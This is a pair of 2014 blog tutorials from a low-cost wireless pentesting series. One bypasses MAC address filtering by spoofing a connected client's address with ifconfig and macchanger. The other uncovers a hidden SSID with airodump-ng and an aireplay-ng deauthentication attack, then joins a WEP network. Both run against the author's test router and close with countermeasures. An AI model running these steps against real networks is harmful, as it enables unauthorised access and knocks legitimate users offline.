Monday, February 3, 2014

Wireless Pentesting on the Cheap (Kali + TL-WN722N) - MAC Filtering

By Tony Lee

Introduction

In our previous articles we used TP-Link’s TL-WN722N and a Kali Virtual Machine (VM) to perform wireless discovery and attack against a Wired Equivalent Privacy (WEP) network, WPA (Pre-Shared Key) PSK network, and a network hiding its SSID to showcase the abilities of this inexpensive and flexible setup.
In this article we will continue to test our setup by attacking a home router that is implementing MAC address filtering--walking you through the attack from start to finish.
Figure 1:  Our setup
Consult our previous article WEP for the following topics as they are omitted from this article due to similarity:
  • Equipment
    • Hardware
    • Software
  • Tips and tricks
    • Version of Workstation
    • Screen Resolution
    • Simple Text Editor
  • Connecting the USB Device

Outline

  • Preparation
  • Discovery
  • Attack
    • Explained
    • Find a Client
    • MAC spoof
      • ifconfig
      • macchanger
  • Connect
  • Countermeasures
  • Conclusion

Preparation

NetworkManager (included in the default Kali Linux) can cause problems when trying to complete simple tasks such as connecting to wireless networks.  To prevent any interference, we will disable it ahead of time.

root@kali:~# service network-manager stop
[ ok ] Stopping network connection manager: NetworkManager.


Discovery

In the previous article, we mentioned that the simplest way to ensure that the wireless card is working is to do some light discovery.  After all, the first step in a wireless engagement is to identify targets of interest.
Let’s check out the networks using the iwlist command as we can stay in “Managed” mode.

root@kali:~# iwlist wlan0 scanning | grep -A 30 30:46:9A:16:ED:CE
         Cell 16 - Address: 30:46:9A:16:ED:CE
                   Channel:6
                   Frequency:2.437 GHz (Channel 6)
                   Quality=63/70  Signal level=-47 dBm  
                   Encryption key:on
                   ESSID:"QX3A7"
                   Bit Rates:1 Mb/s; 2 Mb/s; 5.5 Mb/s; 11 Mb/s; 6 Mb/s
                             9 Mb/s; 12 Mb/s; 18 Mb/s
                   Bit Rates:24 Mb/s; 36 Mb/s; 48 Mb/s; 54 Mb/s
                   Mode:Master
--snip--

Attack

For this scenario, we have discovered an access point of arbitrary protection and we either know or have actively discovered the required information to connect to the access point.  However, even after entering the information correctly, we still cannot associate to the access point.


Figure 2:  No matter how many times we try to associate, the AP will not allow it
At this point we believe that the access point is performing MAC address filtering (aka whitelisting).  We will now look at how easy this is to set up and also examine ways that we can bypass this protection mechanism.

Explained

Access points can use MAC address filtering to prevent unknown hosts from connecting to the network.  Even our inexpensive Netgear router can utilize MAC address filtering--it is enabled through the Wireless Card Access List option as shown below:
Figure 3:  The screenshot above shows the checkbox to enable broadcasting the SSID.  Uncheck the box to hide it.
After clicking on the “Setup Access List” button, we are taken to another screen which allows us to turn the access control on and also add, edit, and delete devices contained within the access list.  In the screenshot below, we only have one client that is allowed to access this access point.
Figure 4:  Only one wireless card is authorized to connect to our test access point.
This may seem like a secure configuration, however the key weakness in MAC address filtering is that MAC addresses can be changed (spoofed) to any value an attacker wishes.  The administrator will know the list of approved clients, however the attacker will generally not know who is allowed to connect.  Since it is possible to discover clients that are already connected to access points, it is possible to select one of those in which to masquerade.  Thus, an attacker must first find an already associated client and then spoof their MAC address to connect to the access point.

Find a Client

This time we will use Kismet to find a wireless client.  We will need far less information than what we had in the previous article:
  • MAC address of a wireless client


root@kali:~# kismet -c wlan0



Figure 5:  Kismet allows us to easily find our wireless client to spoof

Examining the Kismet screenshot, we determined that the client MAC address that we want to spoof is:

24:77:03:8C:D3:44




MAC Spoof

There are a couple of ways in which we can change our MAC address in Linux:
  • ifconfig
  • macchanger

ifconfig

The ifconfig command can be used to change our MAC address using the syntax below:

Syntax:
ifconfig <INT> down
ifconfig <INT> hw ether <XX:XX:XX:XX:XX:XX>
ifconfig <INT> up

Attack:
ifconfig wlan0 down
ifconfig wlan0 hw ether 24:77:03:8C:D3:44
ifconfig wlan0 up



Figure 6:  Changing the wireless card’s MAC address using ifconfig

macchanger

Macchanger is rightfully described in the man pages as “a Linux utility for viewing/manipulating the MAC address for network interfaces”.  It is simplistic in usage by allowing a user to change their hardware address to a random value or one of their choosing.

Help:
root@kali:~# macchanger --help
GNU MAC Changer
Usage: macchanger [options] device

 -h,  --help                   Print this help
 -V,  --version                Print version and exit
 -s,  --show                   Print the MAC address and exit
 -e,  --ending                 Don't change the vendor bytes
 -a,  --another                Set random vendor MAC of the same kind
 -A                            Set random vendor MAC of any kind
 -p,  --permanent              Reset to original, permanent hardware MAC
 -r,  --random                 Set fully random MAC
 -l,  --list[=keyword]         Print known vendors
 -m,  --mac=XX:XX:XX:XX:XX:XX
      --mac XX:XX:XX:XX:XX:XX  Set the MAC XX:XX:XX:XX:XX:XX

Report bugs to alvaro@gnu.org

Syntax:
macchanger -m XX:XX:XX:XX:XX:XX wlan0

Attack:
macchanger -m 24:77:03:8C:D3:44 wlan0



Figure 7:  Changing the wireless card’s MAC address using macchanger

Connect

Since we are using our WEP setup from the previous article (same WEP key) and we have spoofed our whitelisted client, we can finally connect to the access point using the command line steps outlined below:

Check the status of the card:
root@kali:~#  iwconfig wlan0

Enter the network information:
root@kali:~# iwconfig wlan0 essid "QX3A7" key 55:70:9E:69:0D:A0:9B:E1:18:DB:3A:7E:D9

Bring the Interface up:
root@kali:~# ifconfig wlan0 up

Check the Association:
root@kali:~# iwconfig wlan0

Obtain an IP:
root@kali:~# dhclient wlan0
Reloading /etc/samba/smb.conf: smbd only.

Verify an IP is obtained:
root@kali:~# ifconfig wlan0




Figure 8:  Putting it all together:  Spoofing the MAC, connecting to the AP, pinging Google
One interesting thing to note is that our victim and attacker could not be associated at the same time.  The Netgear router may have some additional capabilities that detects a wireless client that is attempting to connect when there is already one connected with the same MAC address.  We also tried changing the IP address of the second wireless client, but no dice.  If this were a thin client setup, we would attempt to connect to a different AP.  Once the victim logged off, we were able to bypass MAC address filtering and access the Internet.  Access Points handle this differently, so your mileage may vary.

Countermeasures

Even though the intention of this article is not to warn about the dangers of relying on MAC address filtering as a sole means of security, we feel that doing so is worth noting.  MAC filtering as a sole defensive mechanism is security through obscurity, however when used as part of a layered defense, it can deter entry level hackers.  The problem with using this as part of a layered defense in a corporate environment is that it does not scale very well because it often requires manual configuration--thus we do not see it often.  However, when it is used, it is on a select few networks which have legacy clients (usually required for hand scanners or some other one-off devices).

For networks that cannot utilize WPA-Enterprise, in addition to MAC filtering, we recommend the following additional defensive measures:
  • Turn off the network if it is no longer needed
  • Air gap the wireless network from the corporate network
  • Use WPA-PSK with a REALLY long and complex password - change frequently if possible
  • Segment the wireless network from the wired network via Firewall and IPS

Conclusion

In this article, we proved the capabilities of an inexpensive wireless adapter and a flexible virtualized wireless attack image by uncovering defeating MAC address filtering.  For just $16 and no reboot required you can place a wireless adapter into monitor mode and start assessing wireless networks.  More testing needs to be done with this setup to determine other capabilities; however as of right now, it appears that it can provide quick, portable, flexible, and inexpensive wireless testing.  Feedback below is always appreciated.
If you try this with different cards and run into issues, check the following excellent resource:  http://docs.kali.org/troubleshooting/troubleshooting-wireless-driver-issues

Special Thanks

Dan Dumond

Rudolph Araujo

Monday, January 20, 2014

Wireless Pentesting on the Cheap (Kali + TL-WN722N) - Hidden SSID

By Tony Lee

Introduction

In our previous articles we used TP-Link’s TL-WN722N and a Kali Virtual Machine (VM) to perform wireless discovery and attack against a Wired Equivalent Privacy (WEP) network and WPA (Pre-Shared Key) PSK network to showcase the abilities of this inexpensive and flexible setup.
In this article we will continue to test this setup by attacking our home router that is hiding its SSID--walking you through the attack from start to finish.
Figure 1:  Our setup
Consult our previous article WEP for the following topics as they are omitted from this article due to similarity:
  • Equipment
    • Hardware
    • Software
  • Tips and tricks
    • Version of Workstation
    • Screen Resolution
    • Simple Text Editor
  • Connecting the USB Device

Outline

  • Preparation
  • Discovery
  • Attack
    • Explained
    • Passive
    • Active
      • Start the capture
      • Deauth
  • Connect
  • Countermeasures
  • Conclusion

Preparation

NetworkManager (included in the default Kali Linux) can cause problems when trying to complete simple tasks such as connecting to wireless networks.  To prevent any interference, we will disable it ahead of time.

root@kali:~# service network-manager stop
[ ok ] Stopping network connection manager: NetworkManager.


Discovery

In the previous article, we mentioned that the simplest way to ensure that the wireless card is working is to do some light discovery.  After all, the first step in a wireless engagement is to identify targets of interest.  This article throws a little twist into it by hiding the SSID.
Typically, wireless access points will continuously broadcast their SSID at regular intervals.  However, some administrators choose to disable this SSID broadcast in an attempt to keep the network hidden from curious observers and would-be hackers.
Beaconing AP
Hidden SSID
**


We can discover the BSSID (or MAC address) of the access point that we want to connect to, but we do not know the name.  This is a problem, because you cannot connect to a network without knowing the (case-sensitive) ESSID.  Let’s check out the network using the iwlist command as we can stay in “Managed” mode.

root@kali:~# iwlist wlan0 scanning | grep -A 30 30:46:9A:16:ED:CE
         Cell 10 - Address: 30:46:9A:16:ED:CE
                   Channel:6
                   Frequency:2.437 GHz (Channel 6)
                   Quality=26/70  Signal level=-84 dBm  
                   Encryption key:on
                   ESSID:""
                   Bit Rates:1 Mb/s; 2 Mb/s; 5.5 Mb/s; 11 Mb/s; 6 Mb/s
                             9 Mb/s; 12 Mb/s; 18 Mb/s
                   Bit Rates:24 Mb/s; 36 Mb/s; 48 Mb/s; 54 Mb/s
                   Mode:Master
                   Extra:tsf=0000000046c9ed80
                   Extra: Last beacon: 1928ms ago
                   IE: Unknown: 0000
                   IE: Unknown: 010882848B960C121824
                   IE: Unknown: 030106
                   IE: Unknown: 050400020000
                   IE: Unknown: 0706555320010B1B
                   IE: Unknown: 2A0100
                   IE: Unknown: 32043048606C
                   IE: Unknown: DD180050F2020101830003A4000027A4000042435E0062322F00
                   IE: Unknown: DD0900037F01010000FF7F
                   IE: Unknown: DD0A00037F04010002004000
                   IE: Unknown: DD270050F204104A0001101044000102104700100000000000001000000030469A16EDCE103C000103
--snip--


Notice how the ESSID is hidden and is displayed as:   ESSID:"".  Our goal is to discover this hidden name.

Attack

In the previous article, we mentioned using Kismet and airodump-ng as discovery tools.  In this article, they are both discovery and attack tools (if we are patient enough).

Explained

“A Service Set Identifier (SSID) is a 32-character (maximum) alphanumeric key identifying the name of the wireless local area network.  Some vendors refer to the SSID as the network name.”
This SSID is case-sensitive and required for clients to connect to the wireless network.  It is trivial to prevent the network name from being broadcasted in most router or wireless controller settings and can provide some (albeit minimal) level of difficulty in discovering the name.  Keep in mind that when used as a sole source of security for your wireless network--it is merely security through obscurity.  In addition, it can make your wireless stations (clients) more vulnerable to attack as they will go around asking for that network by name.  This provides an attacker the opportunity to provide a fake AP broadcasting the network name that the client is requesting--certainly a topic for another article.
Our test router has this setting in the following location:
Figure 2:  The screenshot above shows the checkbox to enable broadcasting the SSID.  Uncheck the box to hide it.
Now, when Windows users try to find the wireless network it will show up as “Other”:


Figure 3:  The wireless network with a hidden SSID is shown as “Other Network”
When we click on “Connect”, Windows will ask us for the case-sensitive network name:
Figure 4:  A user needs to supply the network name.
After the correct network name has been supplied, the user will still need to know the key:
Figure 5:  Knowledge of the correct key is still required
So, how do we discover the name of the network?

Passive

We can discover the name of the network without sending even one packet--we just have to be very patient.  When a client associates with a wireless network, they pass the SSID in the management frame.  This management frame is sent in the clear and thus attackers can passively discover hidden SSIDs just by patiently listening.  Observe the screenshot below where we used a Wireshark display filter to hone in on an Association Request packet to show you the SSID field.
Figure 6:  The captured packet is an Association Request from the wireless client to the AP with a hidden SSID
The following is a cheat sheet of common wireless frame filters that can be used in Wireshark.
Figure 7:  Handy Wireshark cheat sheet for wireless frame filters

By chance, upon firing up Kismet, we did happen to capture the management frame.
Figure 8:  Kismet detects hidden SSID

Active

For the more impatient people out there (raises hand), we can speed it up a little and turn it into a more active attack.  The best approach here is to start our listener (either Kismet or airodump-ng) and then perform a deauthentication against a connected client.  When the client reassociates, we will have the SSID.  

Using airodump-ng, we will need to note most of the same information to what we had in the previous article:
  • MAC address of the AP (BSSID)
  • Channel that the AP is sitting on
  • MAC address of a wireless client

First we will start airmon-ng on our wireless adapter so that it can create the monitoring interface mon0.

root@kali:~# airmon-ng start wlan0


Found 2 processes that could cause trouble.
If airodump-ng, aireplay-ng or airtun-ng stops working after
a short period of time, you may want to kill (some of) them!
-e
PID Name
2652 dhclient
3409 wpa_supplicant


Interface Chipset Driver

wlan0 Atheros AR9271 ath9k - [phy0]
(monitor mode enabled on mon0)


The information we need is summarized below:

Variable name = Description:  Value
==============================
$ESSID = ESSID:  ?????
$CH = Channel:  6
$AP = AP MAC: 30:46:9A:16:ED:CE
$VM = Victim user MAC:  24:77:03:8C:D3:44


For this exercise, it is good practice to open 2 windows and copy the following into each window to set the variables:

export CH=6
export AP=30:46:9A:16:ED:CE
export VM=24:77:03:8C:D3:44


If you want to change your MAC address for extra stealth, now is the time to do so.

Start the Capture

We begin by capturing the traffic in an attempt to get the reassociation.  This is a convenient way to start because it also locks us on to the channel of the AP of interest (in this example, channel 6).

Syntax:
airodump-ng -c <CHANNEL> --bssid  <APMAC> -w <FILE PREFIX> <INT>

Key:
-c = Channel that the AP is on
--bssid = MAC address of the AP
-w = Prefix of the file name that you want to write data to
<INT> = Interface we will be capturing on

Attack:
airodump-ng -c $CH --bssid  $AP -w WPAcapture mon0


As shown below, the ESSID name is not showing up in our top terminal window running airodump-ng.
Figure 9:  Airodump-ng prior to the deauthentication attack does not know the network name

Deauthenticate the Client

The goal here is to deauthenticate (aka kick a client off the network) so they have to reconnect to the network.  Upon client reauthentication, we can capture their management frames.

Syntax:
aireplay-ng -0 25 -a <AP> -c < VICTIM_MAC> <INT>

Key:
-0 = (same as --deauth) deauthentication attack
-a = MAC address of the AP
-c = Victim MAC address
<INT> = Interface we will be attacking from

Attack:
aireplay-ng -0 25 -a $AP -c $VM mon0


Shortly after running the deauthentication, we get some activity in our airodump-ng window as shown below.
Figure 10:  After the deauthentication packets are sent Airodump is able to discover and tell us the ESSID
When you are watching your attack take place, keep an eye on the top right-hand corner of the capture window.  You should see the ESSID field populated if your deauthentication was successful.

Connect

Now that we have recovered the ESSID, we will connect to the AP using the command line steps outlined below:

Check the status of the card:
root@kali:~#  iwconfig wlan0

Enter the network information:
root@kali:~# iwconfig wlan0 essid "QX3A7" key 55:70:9E:69:0D:A0:9B:E1:18:DB:3A:7E:D9

Bring the Interface up:
root@kali:~# ifconfig wlan0 up

Check the Association:
root@kali:~# iwconfig wlan0

Obtain an IP:
root@kali:~# dhclient wlan0
Reloading /etc/samba/smb.conf: smbd only.


Here is what it should look like:


Figure 11:  Connecting to the WEP protected network with a hidden SSID
Now that we know the ESSID, we can use the attacks outlined in the previous articles to attack WEP and WPA/PSK secured networks.

Countermeasures

Even though the intention of this article is not to warn about the dangers of relying on hidden SSIDs as a sole means of security, we feel that doing so is worth noting.  Also worth noting is the increased chance of client compromise when hiding SSIDs.  When configured to do so, clients will beacon for hidden access points which leave them susceptible to attackers claiming to be the access point they are seeking.  This this results in an increased risk to clients, we generally discourage hiding SSIDs unless the wireless supplicant has additional intelligence that prevents connecting to rogue APs.

Conclusion

In this article, we proved the capabilities of an inexpensive wireless adapter and a flexible virtualized wireless attack image by uncovering a wireless network’s hidden SSID.  For just $16 and no reboot required you can place a wireless adapter into monitor mode and start assessing wireless networks.  More testing needs to be done with this setup to determine other capabilities; however as of right now, it appears that it can provide quick, portable, flexible, and inexpensive wireless testing.  Feedback below is always appreciated.
If you try this with different cards and run into issues, check the following excellent resource:  http://docs.kali.org/troubleshooting/troubleshooting-wireless-driver-issues

Special Thanks

Dan Dumond

Rudolph Araujo